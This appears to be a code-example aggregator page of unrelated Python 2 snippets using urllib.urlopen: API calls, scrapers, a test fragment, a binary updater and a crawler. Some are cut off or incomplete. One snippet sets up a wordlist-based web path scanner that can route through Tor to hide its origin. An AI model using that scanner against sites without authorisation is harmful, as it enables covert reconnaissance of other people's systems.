                           self.migrate_volume.id)
            except Exception as e:
                raise Exception("Volume deletion failed with error %s" % e)
        # 16.Upload volume of size smaller  than
        # storage.max.volume.upload.size(leaving the negative case)
        self.testdata["configurableData"]["upload_volume"]["format"] = "VHD"
        volume_upload = Volume.upload(
            self.userapiclient,
            self.testdata["configurableData"]["upload_volume"],
            zoneid=self.zone.id)
        volume_upload.wait_for_upload(self.userapiclient)
        self.debug("volume id :%s got uploaded successfully is " %
                   volume_upload.id)

        # 20.Detach data disk from vm 2 and delete the volume
        self.virtual_machine_2.detach_volume(self.userapiclient,
                                             volume=self.volume)
        verify_detach_volume(self, self.virtual_machine_2.id, self.volume.id)

        try:
            self.volume.delete(self.userapiclient)
            self.debug("volume id:%s got deleted successfully " %
                       self.volume.id)
        except Exception as e:
            raise Exception("Volume deletion failed with error %s" % e)
Exemple #36
0
import urllib

url = 'http://localhost/upload.php'
filename = '/tmp/abc'

# f = open(filename, 'rb')
# filebody = f.read()
# f.close()

# data = {'name': 'file', 'upload_file': filebody}
# data = {'upload_file': filebody}
data = {'upload_file': open('/tmp/abc', 'rb')}

web_site = urllib.urlopen(url,urllib.urlencode(data) )
print web_site.read()
Exemple #37
0
#!/usr/bin/python 

import nltk   
from stripogram import html2text
from urllib import urlopen
import os
from bs4 import BeautifulSoup
#import urllib.request


html_doc = """Some HTML code that you want to convert"""
from bs4 import BeautifulSoup
soup = BeautifulSoup(html_doc)
print(soup.get_text())



os.system('exit')



url = "https://downloads.chef.io/chef-server/stable"  
html = urlopen(url).read()  
raw=nltk.clean_html(html)
#text = html2text(raw)
#print text
processText(url)

def getCommonshelperCats(imagepage):
    ''' Get category suggestions from CommonSense. Parse them and return a list
    of suggestions.

    '''
    commonshelperCats = []
    usage = []
    galleries = []

    global search_wikis
    global hint_wiki
    site = imagepage.site()
    lang = site.language()
    family = site.family.name
    if lang==u'commons' and family==u'commons':
        parameters = urllib.urlencode({'i' : imagepage.titleWithoutNamespace().encode('utf-8'), 'r' : 'on', 'go-clean' : 'Find+Categories', 'p' : search_wikis, 'cl' : hint_wiki})
    elif family==u'wikipedia':
        parameters = urllib.urlencode({'i' : imagepage.titleWithoutNamespace().encode('utf-8'), 'r' : 'on', 'go-move' : 'Find+Categories', 'p' : search_wikis, 'cl' : hint_wiki, 'w' : lang})
    else:
        #Cant handle other sites atm
        return ([], [], [])

    commonsenseRe = re.compile('^#COMMONSENSE(.*)#USAGE(\s)+\((?P<usagenum>(\d)+)\)\s(?P<usage>(.*))\s#KEYWORDS(\s)+\((?P<keywords>(\d)+)\)(.*)#CATEGORIES(\s)+\((?P<catnum>(\d)+)\)\s(?P<cats>(.*))\s#GALLERIES(\s)+\((?P<galnum>(\d)+)\)\s(?P<gals>(.*))\s(.*)#EOF$', re.MULTILINE + re.DOTALL)

    gotInfo = False
    matches = None
    maxtries = 10
    tries = 0
    while(not gotInfo):
        try:
            if ( tries < maxtries ):
                tries = tries + 1
                commonsHelperPage = urllib.urlopen(
                    "http://toolserver.org/~daniel/WikiSense/CommonSense.php?%s" % parameters)
                matches = commonsenseRe.search(
                    commonsHelperPage.read().decode('utf-8'))
                gotInfo = True
            else:
                break
        except IOError:
            pywikibot.output(u'Got an IOError, let\'s try again')
        except socket.timeout:
            pywikibot.output(u'Got a timeout, let\'s try again')

    if (matches and gotInfo):
        if (matches.group('usagenum') > 0):
            used = matches.group('usage').splitlines()
            for use in used:
                usage= usage + getUsage(use)
                #pywikibot.output(use)
        if (matches.group('catnum') > 0):
            cats = matches.group('cats').splitlines()
            for cat in cats:
                commonshelperCats.append(cat.replace('_',' '))
                pywikibot.output(u'category : ' + cat)
        if (matches.group('galnum') > 0):
            gals = matches.group('gals').splitlines()
            for gal in gals:
                galleries.append(gal.replace('_',' '))
                pywikibot.output(u'gallery : ' + gal)
    commonshelperCats = list(set(commonshelperCats))
    galleries = list(set(galleries))
    for (lang, project, article) in usage:
        pywikibot.output(lang + project + article)
    return (commonshelperCats, usage, galleries)
Exemple #39
0
	def perform(self,document,sourceHTML,sourceURL,srcPrefix):
		aggregateCSS="";
		if len(srcPrefix) and not srcPrefix.endswith('/'):
			srcPrefix = srcPrefix + '/'

		# retrieve CSS rel links from html pasted and aggregate into one string
		CSSRelSelector = CSSSelector("link[rel=stylesheet],link[rel=StyleSheet],link[rel=STYLESHEET]")
		matching = CSSRelSelector.evaluate(document)
		for element in matching:
			try:
				csspath=element.get("href")
				if len(sourceURL):
					if element.get("href").lower().find("http://",0) < 0:
						parsedUrl=urlparse.urlparse(sourceURL);
						csspath=urlparse.urljoin(parsedUrl.scheme+"://"+parsedUrl.hostname, csspath)
				f=urllib.urlopen(csspath)
				aggregateCSS+=''.join(f.read())
				element.getparent().remove(element)
			except:
				raise IOError('The stylesheet '+element.get("href")+' could not be found')

		#include inline style elements
		print aggregateCSS
		CSSStyleSelector = CSSSelector("style,Style")
		matching = CSSStyleSelector.evaluate(document)
		for element in matching:
			aggregateCSS+=element.text
			element.getparent().remove(element)

		#convert  document to a style dictionary compatible with etree
		styledict = self.getView(document, aggregateCSS)

		#set inline style attribute if not one of the elements not worth styling
		ignoreList=['html','head','title','meta','link','script','repeater','singleline','multiline','br','layout']
		for element, style in styledict.items():
			if element.tag not in ignoreList:
				v = style.getCssText(separator=u'')
				element.set('style', v)

		#convert tree back to plain text html
		self.convertedHTML = etree.tostring(document, method="xml", pretty_print=True,encoding='UTF-8')
		self.convertedHTML= self.convertedHTML.replace('&#13;', '') #tedious raw conversion of line breaks.

		# We've inline styled the CSS, now do the HTML src tags
		soup = BeautifulSoup(self.convertedHTML)
		for img in soup.find_all("img"):
			img['src'] = srcPrefix + img.get('src')

		# Now we would like to set width and min-width on all our tables
		for table in soup.find_all("table"):
			if table.get('width') is not None:
				width = table.get('width')
				if not width.endswith('%'):
					if table.get('style') is None:
						style = []
					else:
						style = table.get('style').split(';')
					style = [x for x in style if x]
					style.append("min-width:" + width + "px")
					style.append("width:" + width + "px")
					table['style'] = ';'.join(style)

		# Might as well go ahead and throw a style tag in the head for iOS fixes
		if soup.html.head is None:
			soup.html.insert(0, soup.new_tag('head'))
		if soup.html.head.style is None:
			soup.html.head.append(soup.new_tag('style', type="text/css"))
		soup.html.head.style.append("""
			a[href^="x-apple-data-detectors:"] {
    color: #000000;
    text-decoration: none;
}
a[href^="tel"], a[href^="sms"], a[href^="mailto"] {
    color: #000000;
    text-decoration: none;
}
""")

		for img in soup.find_all('img'):
			if 'spacer.gif' in img.get('src'):
				classes = img.get('class')
				if classes is not None:
					if 'w' in classes:
						img.parent['width'] = img.get('width')
					if 'h' in classes:
						img.parent['height'] = img.get('height')

		self.convertedHTML = str(soup)

		return self
def check_profanity(text):
    connection = urllib.urlopen("http://www.wdylike.appspot.com/?q="+text)
    print(connection.read())
    connection.close()
Exemple #41
0
 def delete(self, accessToken):
     postUrl = "https://api.weixin.qq.com/cgi-bin/menu/delete?access_token=%s" % accessToken
     urlResp = urllib.urlopen(url=postUrl)
     print urlResp.read()
Exemple #42
0
print "Processing date " + str(date) 

# make new directory
try: 
    os.makedirs(date)
except OSError:
    if not os.path.isdir(date):
        raise       
links = d.get(date)

# filter out null links 
links = filter(lambda x: x != 'NULL', links)


# get images from URLs, then save to directory
count=1
for link in links: 
    print "processing link " + str(link)

    res = urllib.urlopen(link)
    filename = date + "-" + str(count) + ".jpg"
    fullfilename = os.path.join(date + "/", filename)
    out = open(fullfilename, "wb")
    out.write(res.read())
    out.close()
    count = count  + 1




    region2property2value = json.loads(freebaseFile.read())
    

apiKey = open("/cs/research/intelsys/home1/avlachos/freebaseApiKey").read()    
    
mqlreadUrl = 'https://www.googleapis.com/freebase/v1/mqlread'

aliasQueryParams = {
  'key': apiKey,
}

# the limit gives back only one result, which seems to be the most popular and the one we are interested in 
aliasQuery = { "/common/topic/alias": [], "type": "/location/statistical_region", "limit":1 }

region2aliases = {} 
for regionName in region2property2value:
    print regionName.encode('utf-8')
    aliasQuery["name"] = regionName 
    aliasQueryParams["query"] = json.dumps(aliasQuery)

    aliasUrl = mqlreadUrl + '?' + urllib.urlencode(aliasQueryParams)
    aliasJSON =  json.loads(urllib.urlopen(aliasUrl).read())
    region2aliases[regionName] = aliasJSON["result"]["/common/topic/alias"]
    
with open(sys.argv[2], "wb") as out:
    json.dump(region2aliases, out)

print len(region2aliases), " region names with aliases"
    

Exemple #44
0
 def get_current_selfmenu_info(self, accessToken):
     postUrl = "https://api.weixin.qq.com/cgi-bin/get_current_selfmenu_info?access_token=%s" % accessToken
     urlResp = urllib.urlopen(url=postUrl)
     print urlResp.read()
def getHtml(url):
    return urllib.urlopen(url).read()  #返回网页源码
Exemple #46
0
 def create(self, postData, accessToken):
     postUrl = "https://api.weixin.qq.com/cgi-bin/menu/create?access_token=%s" % accessToken
     if isinstance(postData, unicode):
         postData = postData.encode('utf-8')
     urlResp = urllib.urlopen(url=postUrl, data=postData)
     print urlResp.read()
 def _image(self, node):
     import urllib
     import urlparse
     from reportlab.lib.utils import ImageReader
     nfile = node.get('file')
     if not nfile:
         if node.get('name'):
             image_data = self.images[node.get('name')]
             _logger.debug("Image %s used", node.get('name'))
             s = StringIO(image_data)
         else:
             newtext = node.text
             if self.localcontext:
                 res = utils._regex.findall(newtext)
                 for key in res:
                     newtext = eval(key, {}, self.localcontext) or ''
             image_data = None
             if newtext:
                 image_data = base64.decodestring(newtext)
             if image_data:
                 s = StringIO(image_data)
             else:
                 _logger.debug("No image data!")
                 return False
     else:
         if nfile in self.images:
             s = StringIO(self.images[nfile])
         else:
             try:
                 up = urlparse.urlparse(str(nfile))
             except ValueError:
                 up = False
             if up and up.scheme:
                 # RFC: do we really want to open external URLs?
                 # Are we safe from cross-site scripting or attacks?
                 _logger.debug("Retrieve image from %s", nfile)
                 u = urllib.urlopen(str(nfile))
                 s = StringIO(u.read())
             else:
                 _logger.debug("Open image file %s ", nfile)
                 s = _open_image(nfile, path=self.path)
     try:
         img = ImageReader(s)
         (sx,sy) = img.getSize()
         _logger.debug("Image is %dx%d", sx, sy)
         args = { 'x': 0.0, 'y': 0.0, 'mask': 'auto'}
         for tag in ('width','height','x','y'):
             if node.get(tag):
                 args[tag] = utils.unit_get(node.get(tag))
         if ('width' in args) and (not 'height' in args):
             args['height'] = sy * args['width'] / sx
         elif ('height' in args) and (not 'width' in args):
             args['width'] = sx * args['height'] / sy
         elif ('width' in args) and ('height' in args):
             if (float(args['width'])/args['height'])>(float(sx)>sy):
                 args['width'] = sx * args['height'] / sy
             else:
                 args['height'] = sy * args['width'] / sx
         self.canvas.drawImage(img, **args)
     finally:
         s.close()
Exemple #48
0
def get_challenge(s):
    return urllib.urlopen('http://www.pythonchallenge.com/pc/' + s).read()
Exemple #49
0
def processRequest(req):
    if req.get("result").get("action") != "yahooWeatherForecast":
        return {}
    global city_names
    city_names=processlocation(req)
    global QR
    global intent_name
    intent_name=processIntentName(req)
    if "ChooseCity" in intent_name:        
        QR[0]="Sector in "+city_names
        QR[1]="Other City?Specify"
        QR[2]="Hot Property"
        QR[3]="Price Range"
        QR[4]="Land Area"
        QR[5]="Property Type"
    elif "ChooseSector" in intent_name:        
        QR[0]="(Y)"
        QR[1]="Other Sector?Specify"
        QR[2]="Hot Property"
        QR[3]="Price Range"
        QR[4]="Land Area"
        QR[5]="Property Type"   
    elif "ChangeType" in intent_name:        
        QR[0]="(Y)"
        QR[1]="Other Type?Specify"
        QR[2]="Hot Property"
        QR[3]="Price Range"
        QR[4]="Land Area"
        QR[5]="Change Location"  
    elif "ChooseHotProperties" in intent_name:        
        QR[0]="(Y)"
        QR[1]="Change Location"
        QR[2]="Hot Property"
        QR[3]="Price Range"
        QR[4]="Land Area"
        QR[5]="Change City" 
    elif "ChoosePlotArea" in intent_name:        
        QR[0]="(Y)"
        QR[1]="Other Area?Specify"
        QR[2]="Hot Property"
        QR[3]="Price Range"
        QR[4]="Land Area"
        QR[5]="Change Location"
    elif "DefinePriceRange" in intent_name:        
        QR[0]="(Y)"
        QR[1]="Other Range?Specify"
        QR[2]="Hot Property"
        QR[3]="Price Range"
        QR[4]="Land Area"
        QR[5]="Change Location"
    city_names=processlocation(req)
    sector_names=processSector(req)
    property_type=processPropertyType(req)
    unit_property=processUnit(req)
    area_property=processArea(req)
    NoOfDays=processDate(req)
    DateUnit=processDateUnit(req)
    school=processSchool(req)
    malls=processMalls(req)
    transport=processTransport(req)
    security=processSecurity(req)
    airport=processAirport(req)
    fuel=processFuel(req)
    #minimum_value=processMinimum(req)
    maximum_value=processMaximum(req)
    latest=processLatestProperties(req)
    #if minimum_value > maximum_value:
    #    minimum_value,maximum_value=maximum_value,minimum_value
    #else:
    # minimum_value,maximum_value=minimum_value,maximum_value    
    baseurl = "https://aarz.pk/bot/index.php?city_name="+city_names+"&sector_name="+sector_names+"&minPrice="+maximum_value+"&type="+property_type+"&LatestProperties="+latest+"&UnitArea="+area_property+"&Unit="+unit_property+"&school="+school+"&airport="+airport+"&transport="+transport+"&security="+security+"&shopping_mall="+malls+"&fuel="+fuel
    result = urllib.urlopen(baseurl).read()
    data = json.loads(result)
    res = makeWebhookResult(data)
    return res
Exemple #50
0
 def get_data(self):
     """ Return the contents of the artifact  """
     url = "{}artifact/{}".format(self.build_url,
                                  self.artifact_dict['relativePath'])
     url_data = urllib.urlopen(url).read()
     return url_data
Exemple #51
0
	  "class %%% has-a function named *** that takes self and @@@ parameters.",
	"*** = %%%()":
	  "Set *** to an instance of class %%%.",
	"***.***(@@@)":
	  "From *** get the *** function, and call it with parameters self, @@@.",
	"***.*** = '***'":
	  "From *** get the *** attribute and set it to '***'."
}

# do they want to drill phrases first
PHRASE_FIRST = False
if len(sys.argv) == 2 and sys.argv[1] == "english":
	PHRASE_FIRST = True

# load up the words from the website
for word in urlopen(WORD_URL).readlines():
	WORDS.append(word.strip())


def convert(snippet, phrase):
	class_names = [w.capitalize() for w in
					random.sample(WORDS, snippet.count("%%%"))]
	other_names = random.sample(WORDS, snippet.count("***"))
	results = []
	param_names = []
	
	for i in range(0, snippet.count("@@@")):
		param_count = random.randint(1,3)
		param_names.append(', '.join(random.sample(WORDS, param_count)))
	
	for sentence in snippet, phrase:
Exemple #52
0
def get_jsonparsed_data(url):

    d = json.load(urlopen(url))
    return d
Exemple #53
0
import urllib, sys, os, md5

files = "orange", "corn", "statc", "orangeom", "orangene", "_orngCRS"
baseurl = "http://www.ailab.si/orange/download/binaries/%i%i/" % sys.version_info[:2]
fleurl = baseurl + "%s.pyd"

op = filter(lambda x:x[-7:].lower() in ["\\orange", "/orange"], sys.path)
if not op:
	print "Orange is not found on the Python's path"

print "Downloading to %s (for Python %i.%i)" % (op[0], sys.version_info[0], sys.version_info[1])
os.chdir(op[0])

def rep(blk_cnt, blk_size, tot_size):
	print "\rDownloading %s: %i of %i" % (fle, min(tot_size, blk_cnt*blk_size), tot_size),

repository_stamps = dict([tuple(x.split()) for x in urllib.urlopen(baseurl + "stamps_pyd.txt") if x.strip()])

for fle in files:
    if os.path.exists(fle+".pyd") and repository_stamps[fle+".pyd"] == md5.md5(file(fle+".pyd", "rb").read()).hexdigest().upper():
        print "\nSkipping %s" % fle,
    else:
        print "\nDownloading %s" % fle,
        urllib.urlretrieve(fleurl % fle, fle+".temp", rep)
        if os.path.exists(fle+".pyd"):
            os.remove(fle+".pyd")
        os.rename(fle+".temp", fle+".pyd")
Exemple #54
0
    parser.add_argument("-t", "--target", help="The URL of the TARGET to scan.", required=True)
    parser.add_argument("-w", "--wordlist", help="The paths to locate.", required=True)
    parser.add_argument("--validation", help="Try to find a string to validate the results.", required=False)
    parser.add_argument("--extension", help="Add an extension.", required=False)
    parser.add_argument("--threads", help="Number of threads [default=10].", required=False)
    parser.add_argument("--tor-host", help="Tor server.", required=False)
    parser.add_argument("--tor-port", help="Tor port server.", required=False)

    args = parser.parse_args()

    if args.tor_host:
        print_message(" Opening Tor socket... ")
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, args.tor_host, int(args.tor_port), True)
        socket.socket = socks.socksocket
        socket.create_connection = create_tor_connection
        print_message("OK (" + urlopen('http://ip.42.pl/raw').read() + ").\n")

    if args.target and args.wordlist:
        if (os.path.isfile(args.wordlist)):
            words = []
            print_message(" Reading the list... ")
            file = open(args.wordlist)
            for line in file.readlines():
                words.append(line.strip())
            file.close()
            count_paths = locale.format("%d", len(words), grouping=True)
            print_message("OK.\n\tThe selected file contains " + count_paths + " paths.\n")
            final_list = words;
            if args.extension:
                print_message("\t Adding extension " + args.extension + " ... ")
                for path in words:
Exemple #55
0
def crawl_problem_statement(tipo,url_problema):
	global delay
	
	f = open('enunciados.txt','a')
	
	while True:
		try:
			pagina = urllib.urlopen(url_problema)
			delay = max(1,delay/2)
			break
		except IOError:
			print('\nIOError: Delaying ' + str(delay) + ' time.\n')
			time.sleep(delay)
			delay = min(2 * delay,256)

	contenido = pagina.read()
	
	contenido = re.sub('\\t','       ',contenido)
	contenido = re.sub('\\n','       ',contenido)
	
	# view-source:http://www.artofproblemsolving.com/Forum/viewtopic.php?f=37&t=5560
	# http://www.regular-expressions.info/lookaround.html
	enunciados = re.findall('\<div class="postbody"\>.*?\</div\>       ',contenido,re.S)
	
	assert len(enunciados) > 0
	
	tipo_str = get_tipo_str(tipo)				
	enunciado = enunciados[0]
	#f.write(enunciado)
	#f.write(str(len(enunciados)))
	#f.write('\n')
	#f.close()
	
	enunciado = re.sub('\\xc3\\xa1','a',enunciado)
	enunciado = re.sub('\\xc3\\x81','A',enunciado)
	enunciado = re.sub('\\xc3\\xa9','e',enunciado)
	enunciado = re.sub('\\xc3\\x89','E',enunciado)
	enunciado = re.sub('\\xc3\\xad','i',enunciado)
	enunciado = re.sub('\\xc3\\x93','o',enunciado)
	enunciado = re.sub('\\xc3\\xb3','o',enunciado)
	enunciado = re.sub('\\xc3\\xba','u',enunciado)
	
	enunciado = re.sub('\\xc3\\xb1','ENIE',enunciado)
	enunciado = re.sub('\\xc3\\x91','ENIE',enunciado)
	enunciado = re.sub('\\xc3\\x97',' X ',enunciado)

	enunciado = re.sub('\\xc3a','a',enunciado)
	enunciado = re.sub('\\xc3e','e',enunciado)
	enunciado = re.sub('\\xc3i','i',enunciado)
	enunciado = re.sub('\\xc3o','o',enunciado)
	enunciado = re.sub('\\xc3u','u',enunciado)

	enunciado = re.sub('\\xc2\\xba',' DEG ',enunciado) # simbolo ^circ
	enunciado = re.sub('\\xc2\\xb0',' DEG ',enunciado) # simbolo ^circ

	enunciado = re.sub('\\xc2\\xbf','',enunciado) # signos de pregunta invertidos
	enunciado = re.sub('\\xc2\\xa1',' ',enunciado) # signos de exclamacion invertidos

	enunciado = re.sub('\\xc2\\xb7',' BULLET ',enunciado) # bullets
	enunciado = re.sub('\\xe2\\x80\\x9c',' ',enunciado) # "
	enunciado = re.sub('\\xe2\\x80\\x9d',' ',enunciado) # "
	enunciado = re.sub('\\xc2\\xb1',' PLUSMINUS ',enunciado) # +-
	
	latex = ''
	for x in re.findall('title="[^"]+"',enunciado,re.I):
		latex = latex + ' $' + x[7: len(x) - 1] + '$ '
	enunciado = re.sub('\<[^\>]+\>',' ',enunciado)
	
	enunciado = enunciado + latex
	
	datos_problema = (url_problema,tipo_str,enunciado)
	datos_problema_str = str(datos_problema)
	f.write(datos_problema_str)
	f.write('\n')
Exemple #56
0
def get_poster(id, url):
    pic = urllib.urlopen(url).read()
    file_name = 'poster/%s.jpg' % id
    f = file(file_name, "wb")
    f.write(pic)
    f.close()